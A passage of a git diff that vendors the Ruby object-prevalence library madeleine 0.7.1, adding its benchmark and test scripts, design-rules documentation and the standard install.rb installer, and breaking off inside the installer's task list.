@receive_lock.lock + end + + def message_consumed + @consume_lock.unlock + end + + def wait_for_message_consumed + @consume_lock.lock + end + end + + class WriteBlockedException < Exception + end + end +end + +BatchedSnapshotMadeleine = Madeleine::Batch::BatchedSnapshotMadeleine diff --git a/vendor/madeleine-0.7.1/contrib/benchmark.rb b/vendor/madeleine-0.7.1/contrib/benchmark.rb new file mode 100755 index 00000000..6bb89b42 --- /dev/null +++ b/vendor/madeleine-0.7.1/contrib/benchmark.rb @@ -0,0 +1,35 @@ +#!/usr/local/bin/ruby -w + +$LOAD_PATH.unshift("../lib") + +require 'madeleine' +require 'batched' + +class BenchmarkCommand + def initialize(value) + @value = value + end + + def execute(system) + # do nothing + end +end + +madeleine = BatchedSnapshotMadeleine.new("benchmark-base") { :the_system } + +RUNS = 2000 + +GC.start +GC.disable + +t0 = Time.now +RUNS.times { + madeleine.execute_command(BenchmarkCommand.new(1234)) +} +t1 = Time.now + +GC.enable + +tps = RUNS/(t1 - t0) + +puts "#{tps.to_i} transactions/s" diff --git a/vendor/madeleine-0.7.1/contrib/test_batched.rb b/vendor/madeleine-0.7.1/contrib/test_batched.rb new file mode 100755 index 00000000..7011634e --- /dev/null +++ b/vendor/madeleine-0.7.1/contrib/test_batched.rb @@ -0,0 +1,245 @@ +#!/usr/local/bin/ruby -w +# +# Copyright(c) 2003 Håkan Råberg +# +# Some components taken from test_persistence.rb +# Copyright(c) 2003 Anders Bengtsson +# + +$LOAD_PATH.unshift("../lib") + +require 'batched' +require 'test/unit' +require 'madeleine/clock' + + +module Madeleine::Batch + class BatchedSnapshotMadeleineTest < Test::Unit::TestCase + + class ArraySystem < Array + include Madeleine::Clock::ClockedSystem + end + + class PushCommand + def initialize(value) + @value = value + end + + def execute(system) + system << @value + end + end + + class ArrayQuery + def initialize + @time = [] + end + + def execute(system) + length = system.length + @time << system.clock.time + + a = 1 + system.each do |n| + a *= n + end + + raise "inconsistent read" unless length == system.length + raise "inconsistent read" unless @time.last == system.clock.time + end + end + + def test_live_snapshot + system = ArraySystem.new + w, r = [], [] + going = true + + madeleine = BatchedSnapshotMadeleine.new(prevalence_base) { system } + + i = 0 + 10.times do |n| + w[n] = Thread.new { + while going + madeleine.execute_command(PushCommand.new(i)) + i += 1 + sleep(0.1) + end + } + end + + q = 0 + query = ArrayQuery.new + 100.times do |n| + r[n] = Thread.new { + while going + begin + madeleine.execute_query(query) + q += 1 + rescue + fail("Query blocks writing") + end + sleep(0.1) + end + } + end + + s = 0 + snapshot = Thread.new { + while going + madeleine.take_snapshot + s += 1 + sleep(0.01) + end + } + + sleep(1) + + going = false + + r.each do |t| + t.join + end + + w.each do |t| + t.join + end + + snapshot.join + + madeleine.close + + madeleine2 = SnapshotMadeleine.new(prevalence_base) + assert_equal(madeleine.system, madeleine2.system, "Take system snapshots while accessing") + end + + def prevalence_base + "BatchedSnapshot" + end + + def teardown + delete_directory(prevalence_base) + end + end + + class BatchedLogTest < Test::Unit::TestCase + + class MockMadeleine + def initialize(logger) + @logger = logger + end + + def flush + @logger.flush + end + end + + class MockCommand + attr_reader :text + + def initialize(text) + @text = text + end + + def execute(system) + end + + def ==(o) + o.text == @text + end + end + + module BufferInspector + def buffer_size + @buffer.size + end + end + + def setup + @target = BatchedLogger.new(".", BatchedLogFactory.new, nil) + @target.extend(BufferInspector) + @madeleine = MockMadeleine.new(@target) + @messages = [] + end + + def test_logging + actor = LogActor.launch(@madeleine, 0.1) + + append("Hello") + sleep(0.01) + append("World") + sleep(0.01) + + assert_equal(2, @target.buffer_size, "Batched command queue") + assert(!File.exist?(expected_file_name), "Batched commands not on disk") + + sleep(0.2) + + assert_equal(0, @target.buffer_size, "Queue emptied by batched write") + file_size = File.size(expected_file_name) + assert(file_size > 0, "Queue written to disk") + + append("Again") + sleep(0.2) + + assert(File.size(expected_file_name) > file_size, "Command written to disk") + + f = File.new(expected_file_name) + + @messages.each do |message| + assert_equal(message, Marshal.load(f), "Commands logged in order") + end + + f.close + + actor.destroy + @target.flush + @target.close + + end + + def append(text) + Thread.new { + message = MockCommand.new(text) + @messages << message + queued_command = QueuedCommand.new(message) + @target.store(queued_command) + queued_command.wait_for + } + end + + def expected_file_name + "000000000000000000001.command_log" + end + + def teardown + assert(File.delete(expected_file_name) == 1) + end + + end + + def delete_directory(directory_name) + Dir.foreach(directory_name) do |file| + next if file == "." + next if file == ".." + assert(File.delete(directory_name + File::SEPARATOR + file) == 1, + "Unable to delete #{file}") + end + Dir.delete(directory_name) + end +end + + include Madeleine::Batch + +def add_batched_tests(suite) + suite << BatchedSnapshotMadeleineTest.suite + suite << BatchedLogTest.suite +end + +if __FILE__ == $0 + suite = Test::Unit::TestSuite.new("BatchedLogTest") + add_batched_tests(suite) + + require 'test/unit/ui/console/testrunner' + Thread.abort_on_exception = true + Test::Unit::UI::Console::TestRunner.run(suite) +end diff --git a/vendor/madeleine-0.7.1/contrib/test_scalability.rb b/vendor/madeleine-0.7.1/contrib/test_scalability.rb new file mode 100755 index 00000000..99b7dc5d --- /dev/null +++ b/vendor/madeleine-0.7.1/contrib/test_scalability.rb @@ -0,0 +1,248 @@ +#!/usr/local/bin/ruby -w +# +# Copyright(c) 2003 Håkan Råberg +# +# This test is based on Prevaylers TransactionTestRun, +# Copyright(c) 2001-2003 Klaus Wuestefeld. +# + +$LOAD_PATH.unshift("../lib") + +require 'madeleine' +require 'madeleine/clock' +require 'batched' + +module ScalabilityTest + + class TransactionTestRun + MIN_THREADS = 20 + MAX_THREADS = 20 + NUMBER_OF_OBJECTS = 100000 + ROUND_DURATION = 20 + DIR = "ScalabilityBase" + + def initialize + @system = TransactionSystem.new + @madeleine = BatchedSnapshotMadeleine.new(DIR) { @system } + + @system.replace_all_records(create_records(NUMBER_OF_OBJECTS)) + + @is_round_finished = false + + @best_round_ops_per_s = 0 + @best_round_threads = 0 + @operation_count = 0 + @last_operation = 0 + @active_round_threads = 0 + + @half_of_the_objects = NUMBER_OF_OBJECTS / 2 + + @connection_cache = [] + @connection_cache_lock = Mutex.new + + ObjectSpace.garbage_collect + + puts "========= Running " + name + " (" + (MAX_THREADS - MIN_THREADS + 1).to_s + " rounds). Subject: " + subject_name + "..." + puts "Each round will take approx. " + ROUND_DURATION.to_s + " seconds to run..." + perform_test + puts "----------- BEST ROUND: " + result_string(@best_round_ops_per_s, @best_round_threads) + + @madeleine.close + delete_directory(DIR) + end + + def name + "Transaction Test" + end + + def subject_name + "Madeleine" + end + + def result_string(ops_per_s, threads) + ops_per_s.to_s + " operations/second (" + threads.to_s + " threads)" + end + + def perform_test + for threads in MIN_THREADS..MAX_THREADS + ops_per_s = perform_round(threads) + if ops_per_s > @best_round_ops_per_s + @best_round_ops_per_s = ops_per_s + @best_round_threads = threads + end + end + end + + def perform_round(threads) + initial_operation_count = @operation_count + start_time = Time.now.to_f + + start_threads(threads) + sleep(ROUND_DURATION) + stop_threads + + seconds_ellapsed = Time.now.to_f - start_time + ops_per_second = (@operation_count - initial_operation_count) / seconds_ellapsed + + puts + puts "Seconds ellapsed: " + seconds_ellapsed.to_s + puts "--------- Round Result: " + result_string(ops_per_second, threads) + + ops_per_second + end + + def start_threads(threads) + @is_round_finished = false + for i in 1..threads + start_thread(@last_operation + i, threads) + end + end + + def start_thread(starting_operation, operation_increment) + Thread.new { + connection = accquire_connection + + operation = starting_operation + while not @is_round_finished + # puts "Operation " + operation.to_s + execute_operation(connection, operation) + operation += operation_increment + end + + @connection_cache_lock.synchronize do + @connection_cache << connection + @operation_count += (operation - starting_operation) / operation_increment + @last_operation = operation if @last_operation < operation + @active_round_threads -= 1 + end + } + @active_round_threads += 1 + end + + def execute_operation(connection, operation) + record_to_insert = Record.new(NUMBER_OF_OBJECTS + operation) + id_to_delete = spread_id(operation) + record_to_update = Record.new(@half_of_the_objects + id_to_delete) + + connection.perform_transaction(record_to_insert, record_to_update, id_to_delete) + end + + def spread_id(id) + (id / @half_of_the_objects) * @half_of_the_objects + ((id * 16807) % @half_of_the_objects) + end + + def create_test_connection + TransactionConnection.new(@madeleine) + end + + def accquire_connection + @connection_cache_lock.synchronize do + return @connection_cache.empty? ? create_test_connection : @connection_cache.shift + end + end + + def stop_threads + @is_round_finished = true + while @active_round_threads != 0 + sleep(0.001) + end + end + + def create_records(number_of_objects) + result = [] + for i in 0..number_of_objects + result << Record.new(i) + end + result + end + + + def delete_directory(directory_name) + Dir.foreach(directory_name) do |file| + next if file == "." + next if file == ".." + File.delete(directory_name + File::SEPARATOR + file) + end + Dir.delete(directory_name) + end + end + + class TransactionSystem + include Madeleine::Clock::ClockedSystem + + def initialize + @records_by_id = Hash.new + @transaction_lock = Mutex.new + end + + def perform_transaction(record_to_insert, record_to_update, id_to_delete) + @transaction_lock.synchronize do + put(record_to_insert) + put(record_to_update) + @records_by_id.delete(id_to_delete) + end + end + + def put(new_record) + @records_by_id[new_record.id] = new_record + end + + def replace_all_records(new_records) + @records_by_id.clear + new_records.each do |record| + put(record) + end + end + end + + class TransactionConnection + def initialize(madeleine) + @madeleine = madeleine + end + + def perform_transaction(record_to_insert, record_to_update, id_to_delete) + @madeleine.execute_command(TestTransaction.new(record_to_insert, record_to_update, id_to_delete)) + end + end + + class TestTransaction + def initialize(record_to_insert, record_to_update, id_to_delete) + @record_to_insert = record_to_insert + @record_to_update = record_to_update + @id_to_delete = id_to_delete + end + + def execute(system) + system.perform_transaction(@record_to_insert, @record_to_update, @id_to_delete) + end + end + + class Record + attr_reader :id, :name, :string_1, :date_1, :date_2 + + def initialize(id) + @id = id + @name = "NAME" + (id % 10000).to_s + @string_1 = (id % 10000).to_s == 0 ? Record.large_string + id : nil; + @date_1 = Record.random_date + @date_2 = Record.random_date + end + + def self.large_string + [].fill("A", 1..980).to_s + end + + def self.random_date + rand(10000000) + end + end +end + +if __FILE__ == $0 + puts "Madeleine Scalability Test" + puts "Based on Prevaylers Scalability Test" + puts + + Thread.abort_on_exception = true + ScalabilityTest::TransactionTestRun.new +end diff --git a/vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb b/vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb new file mode 100755 index 00000000..5e8f88a7 --- /dev/null +++ b/vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb @@ -0,0 +1,44 @@ +#!/usr/local/bin/ruby -w + +$LOAD_PATH.unshift("../lib") + +require 'madeleine' +require 'batched' + +class BenchmarkCommand + def initialize(value) + @value = value + end + + def execute(system) + # do nothing + end +end + +madeleine = BattchedSnapshotMadeleine.new("benchmark-base") { :the_system } + +RUNS = 200 +THREADS = 10 + +GC.start +GC.disable + +t0 = Time.now + +threads = [] +THREADS.times { + threads << Thread.new { + RUNS.times { + madeleine.execute_command(BenchmarkCommand.new(1234)) + } + } +} +threads.each {|t| t.join } +t1 = Time.now + +GC.enable + +tps = (THREADS * RUNS)/(t1 - t0) + +puts "#{tps.to_i} transactions/s" + diff --git a/vendor/madeleine-0.7.1/docs/.cvsignore b/vendor/madeleine-0.7.1/docs/.cvsignore new file mode 100755 index 00000000..eedd89b4 --- /dev/null +++ b/vendor/madeleine-0.7.1/docs/.cvsignore @@ -0,0 +1 @@ +api diff --git a/vendor/madeleine-0.7.1/docs/designRules.html b/vendor/madeleine-0.7.1/docs/designRules.html new file mode 100755 index 00000000..6361007f --- /dev/null +++ b/vendor/madeleine-0.7.1/docs/designRules.html @@ -0,0 +1,87 @@ + + + +Design rules - Madeleine + + + + + +

    Design rules

    + +

    This is a summary of the design rules your application has to +follow to work with Madeleine. + + +

    The Prevalent System

    + +

    Your objects have to fit into memory

    + +

    All of them. At the same time. + +

    Your objects have to be marshallable

    + +

    Snapshots are taken of the system by marshalling the whole system to a +file. If your classes can't be marshalled/unmarshalled then Madeleine +won't be able to store/restore the system. + +

    Your objects have to be deterministic

    + +

    Deterministic means that, given the same commands, they have +to always give the same results. + +

    For the much of your code this won't +be a problem, but there are a few common issues: + +

    The system clock

    +

    You can't use the system clock (see instead ClockedSystem and TimeActor). + +

    Random numbers

    +

    Kernel.rand() uses the system clock internally by +default. Use Kernel.srand() to seed the random number +generator before using rand(). + +

    Files, network and other IO

    +

    You generally can't access the outside world from within your +prevalent system. Instead do IO outside of the prevalent system and +call into the system when needed. + +

    Changes to the system have to be done through command +objects

    + +

    Everything that modifies the prevalent system must be done through a +command object sent to the Madeleine instance, using +execute_command(aCommand). Queries that don't modify the +system can be done either through direct method calls or through +command objects. + +

    Command Objects

    + +

    A command object is an object that implements the method +execute(system). They are an example of the "Command" +design pattern. + +

    The command objects also have to be marshallable

    + +

    Madeleine keeps track of changes between snapshots by logging +marshalled commands. + +

    The command must raise errors before modifying the system

    + +

    Unlike a RDBMS, Madeleine can't roll back a command (yet). This means +that your commands will have to do their error checking and raise any +errors before modifying the system. Failing to do this will cause an +inconsistent command log. + +

    Command objects can't hold references to the system's objects

    + +

    Unmarshalling such a command would create clones of the original +objects, which would then be modified instead of the real +objects. The commands must find the objects to modify. + +


    + +$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $ + + + diff --git a/vendor/madeleine-0.7.1/docs/docs.css b/vendor/madeleine-0.7.1/docs/docs.css new file mode 100755 index 00000000..0c70ccde --- /dev/null +++ b/vendor/madeleine-0.7.1/docs/docs.css @@ -0,0 +1,28 @@ +body { + background-color: #FFFFF0; +} +p { + width: 70ex +} +h1 { + font-family: verdana,arial,helvetica,sans-serif; +} +h2 { + font-family: verdana,arial,helvetica,sans-serif; + background: #EEEEE0; +} +h3 { + font-family: verdana,arial,helvetica,sans-serif; +} +h4 { + font-family: verdana,arial,helvetica,sans-serif; +} +.classMethod { + font-family: courier,monospace; + font-weight: bold; + background: #EEEEE0; +} +.instanceMethod { + font-family: courier,sans-serif; + background: #EEEEE0; +} diff --git a/vendor/madeleine-0.7.1/generate_rdoc.rb b/vendor/madeleine-0.7.1/generate_rdoc.rb new file mode 100755 index 00000000..b4e0ba7b --- /dev/null +++ b/vendor/madeleine-0.7.1/generate_rdoc.rb @@ -0,0 +1,3 @@ +#!/usr/local/bin/ruby + +`rdoc lib --op docs/api` diff --git a/vendor/madeleine-0.7.1/install.rb b/vendor/madeleine-0.7.1/install.rb new file mode 100755 index 00000000..e624774e --- /dev/null +++ b/vendor/madeleine-0.7.1/install.rb @@ -0,0 +1,1098 @@ +# +# This file is automatically generated. DO NOT MODIFY! +# +# install.rb +# +# Copyright (c) 2000-2003 Minero Aoki +# +# This program is free software. +# You can distribute/modify this program under the terms of +# the GNU Lesser General Public License version 2. +# + +### begin compat.rb + +module Enumerable + methods = instance_methods() + + unless methods.include?('map') + alias map collect + end + + unless methods.include?('select') + alias select find_all + end + + unless methods.include?('reject') + def reject + result = [] + each do |i| + result.push i unless yield(i) + end + result + end + end + + unless methods.include?('inject') + def inject( result ) + each do |i| + result = yield(result, i) + end + result + end + end + + unless methods.include?('any?') + def any? + each do |i| + return true if yield(i) + end + false + end + end +end + +def File.read_all( fname ) + File.open(fname, 'rb') {|f| return f.read } +end + +def File.write( fname, str ) + File.open(fname, 'wb') {|f| f.write str } +end + +### end compat.rb +### begin config.rb + +if i = ARGV.index(/\A--rbconfig=/) + file = $' + ARGV.delete_at(i) + require file +else + require 'rbconfig' +end + + +class ConfigTable + + c = ::Config::CONFIG + + rubypath = c['bindir'] + '/' + c['ruby_install_name'] + + major = c['MAJOR'].to_i + minor = c['MINOR'].to_i + teeny = c['TEENY'].to_i + version = "#{major}.#{minor}" + + # ruby ver. >= 1.4.4? + newpath_p = ((major >= 2) or + ((major == 1) and + ((minor >= 5) or + ((minor == 4) and (teeny >= 4))))) + + re = Regexp.new('\A' + Regexp.quote(c['prefix'])) + subprefix = lambda {|path| + re === path and path.sub(re, '$prefix') + } + + if c['rubylibdir'] + # V < 1.6.3 + stdruby = subprefix.call(c['rubylibdir']) + siteruby = subprefix.call(c['sitedir']) + versite = subprefix.call(c['sitelibdir']) + sodir = subprefix.call(c['sitearchdir']) + elsif newpath_p + # 1.4.4 <= V <= 1.6.3 + stdruby = "$prefix/lib/ruby/#{version}" + siteruby = subprefix.call(c['sitedir']) + versite = siteruby + '/' + version + sodir = "$site-ruby/#{c['arch']}" + else + # V < 1.4.4 + stdruby = "$prefix/lib/ruby/#{version}" + siteruby = "$prefix/lib/ruby/#{version}/site_ruby" + versite = siteruby + sodir = "$site-ruby/#{c['arch']}" + end + + DESCRIPTER = [ + [ 'prefix', [ c['prefix'], + 'path', + 'path prefix of target environment' ] ], + [ 'std-ruby', [ stdruby, + 'path', + 'the directory for standard ruby libraries' ] ], + [ 'site-ruby-common', [ siteruby, + 'path', + 'the directory for version-independent non-standard ruby libraries' ] ], + [ 'site-ruby', [ versite, + 'path', + 'the directory for non-standard ruby libraries' ] ], + [ 'bin-dir', [ '$prefix/bin', + 'path', + 'the directory for commands' ] ], + [ 'rb-dir', [ '$site-ruby', + 'path', + 'the directory for ruby scripts' ] ], + [ 'so-dir', [ sodir, + 'path', + 'the directory for ruby extentions' ] ], + [ 'data-dir', [ '$prefix/share', + 'path', + 'the directory for shared data' ] ], + [ 'ruby-path', [ rubypath, + 'path', + 'path to set to #! line' ] ], + [ 'ruby-prog', [ rubypath, + 'name', + 'the ruby program using for installation' ] ], + [ 'make-prog', [ 'make', + 'name', + 'the make program to compile ruby extentions' ] ], + [ 'without-ext', [ 'no', + 'yes/no', + 'does not compile/install ruby extentions' ] ] + ] + + SAVE_FILE = 'config.save' + + def ConfigTable.each_name( &block ) + keys().each(&block) + end + + def ConfigTable.keys + DESCRIPTER.map {|k,*dummy| k } + end + + def ConfigTable.each_definition( &block ) + DESCRIPTER.each(&block) + end + + def ConfigTable.get_entry( name ) + name, ent = DESCRIPTER.assoc(name) + ent + end + + def ConfigTable.get_entry!( name ) + get_entry(name) or raise ArgumentError, "no such config: #{name}" + end + + def ConfigTable.add_entry( name, vals ) + ConfigTable::DESCRIPTER.push [name,vals] + end + + def ConfigTable.remove_entry( name ) + get_entry name or raise ArgumentError, "no such config: #{name}" + DESCRIPTER.delete_if {|n,arr| n == name } + end + + def ConfigTable.config_key?( name ) + get_entry(name) ? true : false + end + + def ConfigTable.bool_config?( name ) + ent = get_entry(name) or return false + ent[1] == 'yes/no' + end + + def ConfigTable.value_config?( name ) + ent = get_entry(name) or return false + ent[1] != 'yes/no' + end + + def ConfigTable.path_config?( name ) + ent = get_entry(name) or return false + ent[1] == 'path' + end + + + class << self + alias newobj new + + def new + c = newobj() + c.__send__ :init + c + end + + def load + c = newobj() + raise InstallError, "#{File.basename $0} config first"\ + unless FileTest.file?(SAVE_FILE) + File.foreach(SAVE_FILE) do |line| + k, v = line.split(/=/, 2) + c.instance_eval { + @table[k] = v.strip + } + end + c + end + end + + def initialize + @table = {} + end + + def init + DESCRIPTER.each do |k, (default, vname, desc, default2)| + @table[k] = default + end + end + private :init + + def save + File.open(SAVE_FILE, 'w') {|f| + @table.each do |k, v| + f.printf "%s=%s\n", k, v if v + end + } + end + + def []=( k, v ) + ConfigTable.config_key? k or raise InstallError, "unknown config option #{k}" + if ConfigTable.path_config? k + @table[k] = (v[0,1] != '$') ? File.expand_path(v) : v + else + @table[k] = v + end + end + + def []( key ) + @table[key] or return nil + @table[key].gsub(%r<\$([^/]+)>) { self[$1] } + end + + def set_raw( key, val ) + @table[key] = val + end + + def get_raw( key ) + @table[key] + end + +end + + +module MetaConfigAPI + + def eval_file_ifexist( fname ) + instance_eval File.read_all(fname), fname, 1 if FileTest.file?(fname) + end + + def config_names + ConfigTable.keys + end + + def config?( name ) + ConfigTable.config_key? name + end + + def bool_config?( name ) + ConfigTable.bool_config? name + end + + def value_config?( name ) + ConfigTable.value_config? name + end + + def path_config?( name ) + ConfigTable.path_config? name + end + + def add_config( name, argname, default, desc ) + ConfigTable.add_entry name,[default,argname,desc] + end + + def add_path_config( name, default, desc ) + add_config name, 'path', default, desc + end + + def add_bool_config( name, default, desc ) + add_config name, 'yes/no', default ? 'yes' : 'no', desc + end + + def set_config_default( name, default ) + if bool_config? name + ConfigTable.get_entry!(name)[0] = default ? 'yes' : 'no' + else + ConfigTable.get_entry!(name)[0] = default + end + end + + def remove_config( name ) + ent = ConfigTable.get_entry(name) + ConfigTable.remove_entry name + ent + end + +end + +### end config.rb +### begin fileop.rb + +module FileOperations + + def mkdir_p( dname, prefix = nil ) + dname = prefix + dname if prefix + $stderr.puts "mkdir -p #{dname}" if verbose? + return if no_harm? + + # does not check '/'... it's too abnormal case + dirs = dname.split(%r<(?=/)>) + if /\A[a-z]:\z/i === dirs[0] + disk = dirs.shift + dirs[0] = disk + dirs[0] + end + dirs.each_index do |idx| + path = dirs[0..idx].join('') + Dir.mkdir path unless dir? path + end + end + + def rm_f( fname ) + $stderr.puts "rm -f #{fname}" if verbose? + return if no_harm? + + if File.exist? fname or File.symlink? fname + File.chmod 0777, fname + File.unlink fname + end + end + + def rm_rf( dn ) + $stderr.puts "rm -rf #{dn}" if verbose? + return if no_harm? + + Dir.chdir dn + Dir.foreach('.') do |fn| + next if fn == '.' + next if fn == '..' + if dir? fn + verbose_off { + rm_rf fn + } + else + verbose_off { + rm_f fn + } + end + end + Dir.chdir '..' + Dir.rmdir dn + end + + def mv( src, dest ) + rm_f dest + begin + File.link src, dest + rescue + File.write dest, File.read_all(src) + File.chmod File.stat(src).mode, dest + end + rm_f src + end + + def install( from, dest, mode, prefix = nil ) + $stderr.puts "install #{from} #{dest}" if verbose? + return if no_harm? + + realdest = prefix + dest if prefix + if dir? realdest + realdest += '/' + File.basename(from) + end + str = File.read_all(from) + if diff? str, realdest + verbose_off { + rm_f realdest if File.exist? realdest + } + File.write realdest, str + File.chmod mode, realdest + + File.open(objdir + '/InstalledFiles', 'a') {|f| f.puts realdest } + end + end + + def diff?( orig, targ ) + return true unless File.exist? targ + orig != File.read_all(targ) + end + + def command( str ) + $stderr.puts str if verbose? + system str or raise RuntimeError, "'system #{str}' failed" + end + + def ruby( str ) + command config('ruby-prog') + ' ' + str + end + + def dir?( dname ) + # for corrupted windows stat() + File.directory?((dname[-1,1] == '/') ? dname : dname + '/') + end + + def all_files_in( dname ) + Dir.open(dname) {|d| + return d.select {|n| FileTest.file? "#{dname}/#{n}" } + } + end + + REJECT_DIRS = %w( + CVS SCCS RCS CVS.adm + ) + + def all_dirs_in( dname ) + Dir.open(dname) {|d| + return d.select {|n| dir? "#{dname}/#{n}" } - %w(. ..) - REJECT_DIRS + } + end + +end + +### end fileop.rb +### begin base.rb + +class InstallError < StandardError; end + + +class Installer + + Version = '3.1.4' + Copyright = 'Copyright (c) 2000-2003 Minero Aoki' + + + @toplevel = nil + + def self.declare_toplevel_installer( inst ) + raise ArgumentError, 'two toplevel installers declared' if @toplevel + @toplevel = inst + end + + def self.toplevel_installer + @toplevel + end + + + FILETYPES = %w( bin lib ext data ) + + include FileOperations + + def initialize( config, opt, srcroot, objroot ) + @config = config + @options = opt + @srcdir = File.expand_path(srcroot) + @objdir = File.expand_path(objroot) + @currdir = '.' + end + + def inspect + "#<#{self.class} #{__id__}>" + end + + # + # configs/options + # + + def get_config( key ) + @config[key] + end + + alias config get_config + + def set_config( key, val ) + @config[key] = val + end + + def no_harm? + @options['no-harm'] + end + + def verbose? + @options['verbose'] + end + + def verbose_off + save, @options['verbose'] = @options['verbose'], false + yield + @options['verbose'] = save + end + + # + # srcdir/objdir + # + + attr_reader :srcdir + alias srcdir_root srcdir + alias package_root srcdir + + def curr_srcdir + "#{@srcdir}/#{@currdir}" + end + + attr_reader :objdir + alias objdir_root objdir + + def curr_objdir + "#{@objdir}/#{@currdir}" + end + + def srcfile( path ) + curr_srcdir + '/' + path + end + + def srcexist?( path ) + File.exist? srcfile(path) + end + + def srcdirectory?( path ) + dir? srcfile(path) + end + + def srcfile?( path ) + FileTest.file? srcfile(path) + end + + def srcentries( path = '.' ) + Dir.open(curr_srcdir + '/' + path) {|d| + return d.to_a - %w(. ..) - hookfilenames + } + end + + def srcfiles( path = '.' ) + srcentries(path).select {|fname| + FileTest.file? File.join(curr_srcdir, path, fname) + } + end + + def srcdirectories( path = '.' ) + srcentries(path).select {|fname| + dir? File.join(curr_srcdir, path, fname) + } + end + + def dive_into( rel ) + return unless dir?("#{@srcdir}/#{rel}") + + dir = File.basename(rel) + Dir.mkdir dir unless dir?(dir) + prevdir = Dir.pwd + Dir.chdir dir + $stderr.puts '---> ' + rel if verbose? + @currdir = rel + yield + Dir.chdir prevdir + $stderr.puts '<--- ' + rel if verbose? + @currdir = File.dirname(rel) + end + + # + # TASK config + # + + def exec_config + exec_task_traverse 'config' + end + + def config_dir_bin( rel ) + end + + def config_dir_lib( rel ) + end + + def config_dir_ext( rel ) + extconf if extdir? curr_srcdir + end + + def extconf + opt = @options['config-opt'].join(' ') + command "#{config('ruby-prog')} #{curr_srcdir}/extconf.rb #{opt}" + end + + def config_dir_data( rel ) + end + + # + # TASK setup + # + + def exec_setup + exec_task_traverse 'setup' + end + + def setup_dir_bin( relpath ) + all_files_in(curr_srcdir()).each do |fname| + add_rubypath "#{curr_srcdir}/#{fname}" + end + end + + SHEBANG_RE = /\A\#!\s*\S*ruby\S*/ + + def add_rubypath( path ) + $stderr.puts %Q if verbose? + return if no_harm? + + tmpfile = File.basename(path) + '.tmp' + begin + File.open(path) {|r| + File.open(tmpfile, 'w') {|w| + first = r.gets + return unless SHEBANG_RE === first # reject '/usr/bin/env ruby' + + w.print first.sub(SHEBANG_RE, '#!' + config('ruby-path')) + w.write r.read + } } + mv tmpfile, File.basename(path) + ensure + rm_f tmpfile if File.exist? tmpfile + end + end + + def setup_dir_lib( relpath ) + end + + def setup_dir_ext( relpath ) + make if extdir?(curr_srcdir) + end + + def setup_dir_data( relpath ) + end + + # + # TASK install + # + + def exec_install + exec_task_traverse 'install' + end + + def install_dir_bin( rel ) + install_files target_filenames(), config('bin-dir') + '/' + rel, 0755 + end + + def install_dir_lib( rel ) + install_files target_filenames(), config('rb-dir') + '/' + rel, 0644 + end + + def install_dir_ext( rel ) + install_dir_ext_main File.dirname(rel) if extdir?(curr_srcdir) + end + + def install_dir_ext_main( rel ) + install_files allext('.'), config('so-dir') + '/' + rel, 0555 + end + + def install_dir_data( rel ) + install_files target_filenames(), config('data-dir') + '/' + rel, 0644 + end + + def install_files( list, dest, mode ) + mkdir_p dest, @options['install-prefix'] + list.each do |fname| + install fname, dest, mode, @options['install-prefix'] + end + end + + def target_filenames + if FileTest.file? "#{curr_srcdir()}/MANIFEST" + mapdir(target_filenames_MANIFEST()) + else + mapdir(target_filenames_AUTO()) + end + end + + def mapdir( filelist ) + filelist.map {|fname| + if File.exist? fname # current objdir == '.' + fname + else + File.join(curr_srcdir(), fname) + end + } + end + + def target_filenames_MANIFEST + File.read_all("#{curr_srcdir()}/MANIFEST").split + end + + # picked up many entries from cvs-1.11.1/src/ignore.c + REJECT_PATTERNS = %w( + core RCSLOG tags TAGS .make.state + .nse_depinfo #* .#* cvslog.* ,* .del-* *.a *.olb *.o *.obj + *.so *.Z *~ *.old *.elc *.ln *.bak *.BAK *.orig *.rej *.exe _$* *$ + + *.org *.in .* + ).map {|pattern| + Regexp.compile('\A' + pattern.gsub(/[\.\$]/) {|s| '\\' + s }.gsub(/\*/, '.*') + '\z') + } + + def target_filenames_AUTO + (existfiles() - hookfiles()).reject {|fname| + REJECT_PATTERNS.any? {|re| re === fname } + } + end + + def existfiles + all_files_in(curr_srcdir()) | all_files_in(curr_objdir()) + end + + def hookfiles + %w( pre-%s post-%s pre-%s.rb post-%s.rb ).map {|fmt| + %w( config setup install clean ).map {|t| sprintf(fmt, t) } + }.flatten + end + + def allext( dir ) + _allext(dir) or raise InstallError, + "no extention exists: Have you done 'ruby #{$0} setup' ?" + end + + DLEXT = /\.#{ ::Config::CONFIG['DLEXT'] }\z/ + + def _allext( dir ) + Dir.open(dir) {|d| + return d.select {|fname| DLEXT === fname } + } + end + + # + # TASK clean + # + + def exec_clean + exec_task_traverse 'clean' + rm_f 'config.save' + rm_f 'InstalledFiles' + end + + def clean_dir_bin( rel ) + end + + def clean_dir_lib( rel ) + end + + def clean_dir_ext( rel ) + make 'clean' if FileTest.file?('Makefile') + end + + def clean_dir_data( rel ) + end + + # + # TASK distclean + # + + def exec_distclean + exec_task_traverse 'distclean' + rm_f 'config.save' + rm_f 'InstalledFiles' + end + + def distclean_dir_bin( rel ) + end + + def distclean_dir_lib( rel ) + end + + def distclean_dir_ext( rel ) + make 'distclean' if FileTest.file?('Makefile') + end + + # + # lib + # + + def make( task = '' ) + command config('make-prog') + ' ' + task + end + + def exec_task_traverse( task ) + run_hook 'pre-' + task + FILETYPES.each do |type| + if config('without-ext') == 'yes' and type == 'ext' + $stderr.puts 'skipping ext/* by user option' if verbose? + next + end + traverse task, type, task + '_dir_' + type + end + run_hook 'post-' + task + end + + def traverse( task, rel, mid ) + dive_into(rel) { + run_hook 'pre-' + task + __send__ mid, rel.sub(%r[\A.*?(?:/|\z)], '') + all_dirs_in(curr_srcdir()).each do |d| + traverse task, rel + '/' + d, mid + end + run_hook 'post-' + task + } + end + + def run_hook( name ) + try_run_hook curr_srcdir + '/' + name or + try_run_hook curr_srcdir + '/' + name + '.rb' + end + + def try_run_hook( fname ) + return false unless FileTest.file?(fname) + + env = self.dup + begin + env.instance_eval File.read_all(fname), fname, 1 + rescue + raise InstallError, "hook #{fname} failed:\n" + $!.message + end + true + end + + def extdir?( dir ) + File.exist? dir + '/MANIFEST' + end + +end + +### end base.rb +### begin toplevel.rb + +class ToplevelInstaller < Installer + + def self.invoke + new(File.dirname($0)).invoke + end + + + TASKS = [ + [ 'config', 'saves your configurations' ], + [ 'show', 'shows current configuration' ], + [ 'setup', 'compiles extention or else' ], + [ 'install', 'installs files' ], + [ 'clean', 